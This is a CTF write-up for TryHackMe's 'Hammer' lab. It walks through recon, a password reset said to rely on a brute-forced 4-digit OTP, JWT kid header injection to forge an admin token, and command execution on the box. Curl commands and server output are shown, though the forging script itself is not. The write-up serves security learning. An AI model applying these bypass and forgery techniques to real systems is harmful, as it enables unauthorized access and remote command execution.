Challenge: Hammer (TryHackMe)
Challenge on TryHackMe: Hammer
Introduction
Hammer is a web-focused THM challenge that chains together several small missteps into a full authentication bypass and RCE. The box exposes a login portal running on Apache with a firebase/php-jwt dependency visible via an exposed /vendor directory — a strong hint that JWT handling would be the eventual payoff. Getting there required working through a password reset flow with a brute-forceable 4-digit OTP, then exploiting a classic JWT kid header injection to forge an admin token and reach a command execution endpoint.
With the Hammer in hand, can you bypass the authentication mechanisms and get RCE on the system?
Answer the questions below
nmap -p- -sV IP_Address
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
gobuster dir -u http://IP_Address:1337 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,tsx,js
/.html (Status: 403) [Size: 281]
/.hta.php (Status: 403) [Size: 281]
/.hta.html (Status: 403) [Size: 281]
/.hta (Status: 403) [Size: 281]
/.htaccess (Status: 403) [Size: 281]
/.hta.js (Status: 403) [Size: 281]
/.hta.tsx (Status: 403) [Size: 281]
/.hta.txt (Status: 403) [Size: 281]
/.htaccess.tsx (Status: 403) [Size: 281]
/.htaccess.php (Status: 403) [Size: 281]
/.htaccess.js (Status: 403) [Size: 281]
/.htaccess.html (Status: 403) [Size: 281]
/.htpasswd.php (Status: 403) [Size: 281]
/.htpasswd (Status: 403) [Size: 281]
/.htaccess.txt (Status: 403) [Size: 281]
/.htpasswd.txt (Status: 403) [Size: 281]
/.htpasswd.html (Status: 403) [Size: 281]
/.htpasswd.tsx (Status: 403) [Size: 281]
/.htpasswd.js (Status: 403) [Size: 281]
/.php (Status: 403) [Size: 281]
/config.php (Status: 200) [Size: 0]
/dashboard.php (Status: 302) [Size: 0] [--> logout.php]
/index.php (Status: 200) [Size: 1326]
/index.php (Status: 200) [Size: 1326]
/javascript (Status: 301) [Size: 328] [--> http://IP_Address:1337/javascript/]
/logout.php (Status: 302) [Size: 0] [--> index.php]
/phpmyadmin (Status: 301) [Size: 328] [--> http://IP_Address:1337/phpmyadmin/]
/server-status (Status: 403) [Size: 281]
/vendor (Status: 301) [Size: 324]
curl -s http://IP_Address:1337/vendor/composer/installed.json | head -100
[
{
"name": "firebase/php-jwt",
"version": "v6.10.0",
"version_normalized": "6.10.0.0",
"source": {
"type": "git",
"url": "https://github.com/firebase/php-jwt.git",
"reference": "a49db6f0a5033aef5143295342f1c95521b075ff"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/firebase/php-jwt/zipball/a49db6f0a5033aef5143295342f1c95521b075ff",
"reference": "a49db6f0a5033aef5143295342f1c95521b075ff",
"shasum": ""
},
"require": {
"php": "^7.4||^8.0"
},
"require-dev": {
"guzzlehttp/guzzle": "^6.5||^7.4",
"phpspec/prophecy-phpunit": "^2.0",
"phpunit/phpunit": "^9.5",
"psr/cache": "^1.0||^2.0",
"psr/http-client": "^1.0",
"psr/http-factory": "^1.0"
},
"suggest": {
"ext-sodium": "Support EdDSA (Ed25519) signatures",
"paragonie/sodium_compat": "Support EdDSA (Ed25519) signatures when libsodium is not present"
},
"time": "2023-12-01T16:26:39+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"Firebase\\JWT\\": "src"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"BSD-3-Clause"
],
"authors": [
{
"name": "Neuman Vong",
"email": "neuman+pear@twilio.com",
"role": "Developer"
},
{
"name": "Anant Narayanan",
"email": "anant@php.net",
"role": "Developer"
}
],
"description": "A simple library to encode and decode JSON Web Tokens (JWT) in PHP. Should conform to the current spec.",
"homepage": "https://github.com/firebase/php-jwt",
"keywords": [
"jwt",
"php"
]
}
]
curl -s http://IP_Address:1337/hmr_logs/error.logs
[Mon Aug 19 12:00:01.123456 2024] [core:error] [pid 12345:tid 139999999999999] [client 192.168.1.10:56832] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Aug 19 12:01:22.987654 2024] [authz_core:error] [pid 12346:tid 139999999999998] [client 192.168.1.15:45918] AH01630: client denied by server configuration: /var/www/html/
[Mon Aug 19 12:02:34.876543 2024] [authz_core:error] [pid 12347:tid 139999999999997] [client 192.168.1.12:37210] AH01631: user tester@hammer.thm: authentication failure for "/restricted-area": Password Mismatch
[Mon Aug 19 12:03:45.765432 2024] [authz_core:error] [pid 12348:tid 139999999999996] [client 192.168.1.20:37254] AH01627: client denied by server configuration: /etc/shadow
[Mon Aug 19 12:04:56.654321 2024] [core:error] [pid 12349:tid 139999999999995] [client 192.168.1.22:38100] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/protected
[Mon Aug 19 12:05:07.543210 2024] [authz_core:error] [pid 12350:tid 139999999999994] [client 192.168.1.25:46234] AH01627: client denied by server configuration: /home/hammerthm/test.php
[Mon Aug 19 12:06:18.432109 2024] [authz_core:error] [pid 12351:tid 139999999999993] [client 192.168.1.30:40232] AH01617: user tester@hammer.thm: authentication failure for "/admin-login": Invalid email address
[Mon Aug 19 12:07:29.321098 2024] [core:error] [pid 12352:tid 139999999999992] [client 192.168.1.35:42310] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Aug 19 12:09:51.109876 2024] [core:error] [pid 12354:tid 139999999999990] [client 192.168.1.50:45998] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/locked-down
root@ip-10-113-106-164:~#
set +H
curl -s -b cookies.txt -i -X POST http://IP_Address:1337/reset_password.php \
-d 'new_password=Hammer123!&confirm_password=Hammer123!'
HTTP/1.1 302 Found
Date: Sat, 05 Sep 2026 08:06:09 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Rate-Limit-Pending: 7
Location: index.php
Content-Length: 37
Content-Type: text/html; charset=UTF-8
Password has been reset successfully!
curl -s -i -X POST http://IP_Address:1337/index.php \
-d 'email=tester@hammer.thm&password=Hammer123!'
HTTP/1.1 302 Found
Date: Sat, 05 Sep 2026 08:06:57 GMT
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: PHPSESSID=tt6j97l5n2ao579vhngb5k1o62; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzg4NTk1NjE3LCJleHAiOjE3ODg1OTkyMTcsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.XZK23e70W2P4fpBCVRl9cQHoZlxmQAWQjrwvPVqWNTo; expires=Sat, 05-Sep-2026 08:16:57 GMT; Max-Age=600; path=/
Set-Cookie: persistentSession=no; expires=Sat, 05-Sep-2026 08:07:17 GMT; Max-Age=20; path=/
Location: dashboard.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8
jwt.io: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9
{
"typ": "JWT",
"alg": "HS256",
"kid": "/var/www/mykey.key"
}
{"iss":"http://hammer.thm","aud":"http://hammer.thm","iat":1788595617,"exp":1788599217,"data":{"user_id":1,"email":"tester@hammer.thm","role":"user"}}
curl -s http://IP_Address:1337/vendor/composer/installed.json
[
{
"name": "firebase/php-jwt",
"version": "v6.10.0",
"version_normalized": "6.10.0.0",
"source": {
"type": "git",
"url": "https://github.com/firebase/php-jwt.git",
"reference": "a49db6f0a5033aef5143295342f1c95521b075ff"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/firebase/php-jwt/zipball/a49db6f0a5033aef5143295342f1c95521b075ff",
"reference": "a49db6f0a5033aef5143295342f1c95521b075ff",
"shasum": ""
},
"require": {
"php": "^7.4||^8.0"
},
"require-dev": {
"guzzlehttp/guzzle": "^6.5||^7.4",
"phpspec/prophecy-phpunit": "^2.0",
"phpunit/phpunit": "^9.5",
"psr/cache": "^1.0||^2.0",
"psr/http-client": "^1.0",
"psr/http-factory": "^1.0"
},
"suggest": {
"ext-sodium": "Support EdDSA (Ed25519) signatures",
"paragonie/sodium_compat": "Support EdDSA (Ed25519) signatures when libsodium is not present"
},
"time": "2023-12-01T16:26:39+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"Firebase\\JWT\\": "src"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"BSD-3-Clause"
],
"authors": [
{
"name": "Neuman Vong",
"email": "neuman+pear@twilio.com",
"role": "Developer"
},
{
"name": "Anant Narayanan",
"email": "anant@php.net",
"role": "Developer"
}
],
"description": "A simple library to encode and decode JSON Web Tokens (JWT) in PHP. Should conform to the current spec.",
"homepage": "https://github.com/firebase/php-jwt",
"keywords": [
"jwt",
"php"
]
}
]
curl -s -i -b "PHPSESSID=tt6j97l5n2ao579vhngb5k1o62; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzg4NTk1NjE3LCJleHAiOjE3ODg1OTkyMTcsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.XZK23e70W2P4fpBCVRl9cQHoZlxmQAWQjrwvPVqWNTo" \
http://IP_Address:1337/dashboard.php
HTTP/1.1 302 Found
Date: Sat, 05 Sep 2026 08:10:25 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: logout.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8
What is the flag value after logging in to the dashboard?
curl -s -c fresh_cookies.txt -X POST http://IP_Address:1337/index.php \
-d 'email=tester@hammer.thm&password=Hammer123!' > /dev/null
curl -s -i -b fresh_cookies.txt http://IP_Address:1337/dashboard.php
HTTP/1.1 200 OK
Date: Sat, 05 Sep 2026 08:11:20 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 3152
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Dashboard</title>
<link href="/hmr_css/bootstrap.min.css" rel="stylesheet">
<script src="/hmr_js/jquery-3.6.0.min.js"></script>
<style>
body {
background: url('/hmr_images/hammer.webp') no-repeat center center fixed;
background-size: cover;
}
.container {
position: relative;
z-index: 10; /* Make sure the content is above the background */
background-color: rgba(255, 255, 255, 0.8); /* Slight white background for readability */
padding: 20px;
border-radius: 10px;
}
</style>
<script>
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
function checkTrailUserCookie() {
const trailUser = getCookie('persistentSession');
if (!trailUser) {
window.location.href = 'logout.php';
}
}
setInterval(checkTrailUserCookie, 1000);
</script>
</head>
<body>
<div class="container mt-5">
<div class="row justify-content-center">
<div class="col-md-6">
<h3>Welcome, Thor! - Flag: THM{AuthBypass3D}</h3>
<p>Your role: user</p>
<div>
<input type="text" id="command" class="form-control" placeholder="Enter command">
<button id="submitCommand" class="btn btn-primary mt-3">Submit</button>
<pre id="commandOutput" class="mt-3"></pre>
</div>
<a href="logout.php" class="btn btn-danger mt-3">Logout</a>
</div>
</div>
</div>
<script>
$(document).ready(function() {
$('#submitCommand').click(function() {
var command = $('#command').val();
var jwtToken = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzg4NTk1ODgwLCJleHAiOjE3ODg1OTk0ODAsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.mdBYbRDxju9MybzZYmLq3MOren_NjHuQKTXmTdCY3A8';
// Make an AJAX call to the server to execute the command
$.ajax({
url: 'execute_command.php',
method: 'POST',
data: JSON.stringify({ command: command }),
contentType: 'application/json',
headers: {
'Authorization': 'Bearer ' + jwtToken
},
success: function(response) {
$('#commandOutput').text(response.output || response.error);
},
error: function() {
$('#commandOutput').text('Error executing command.');
}
});
});
});
</script>
</body>
</html>
What is the content of the file /home/ubuntu/flag.txt
pip install pyjwt --break-system-packages
Collecting pyjwt
Downloading PyJWT-2.9.0-py3-none-any.whl (22 kB)
Installing collected packages: pyjwt
Successfully installed pyjwt-2.9.0
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
[notice] A new release of pip is available: 23.0.1 -> 25.0.1
[notice] To update, run: pip install --upgrade pip
root@ip-10-112-114-238:~# curl -s http://IP_Address:1337/index.php -o index_content.php
root@ip-10-112-114-238:~# nano forge.py
root@ip-10-112-114-238:~# python3 forge.py
eyJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L2h0bWwvaW5kZXgucGhwIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzg4NTk1ODgwLCJleHAiOjE5ODg1OTk5OTksImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJhZG1pbiJ9fQ.lBmQS55ZEvXfuvz-hwcvA2tecWPdGQwMuqWoK058wNU
curl -s -c sess.txt -X POST http://IP_Address:1337/index.php \
-d 'email=tester@hammer.thm&password=Hammer123!' > /dev/null && \
curl -s -b sess.txt -X POST http://IP_Address:1337/execute_command.php \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command":"cat /home/ubuntu/flag.txt"}'
{"output":"THM{RUNANYCOMMAND1337}\n"}
Conclusion:
Hammer is a solid demonstration of how JWT implementation flaws, not the library itself, create real vulnerabilities. The kid header pointing directly to a filesystem path let me supply my own HMAC secret by pointing it at a static file whose contents I already knew — a textbook kid injection leading to token forgery and privilege escalation from user to admin. Combined with a weak, brute-forceable OTP reset flow, this box is a good reminder that convenience features like password reset and "trust the client's chosen key" JWT patterns are common places where auth logic quietly breaks down.



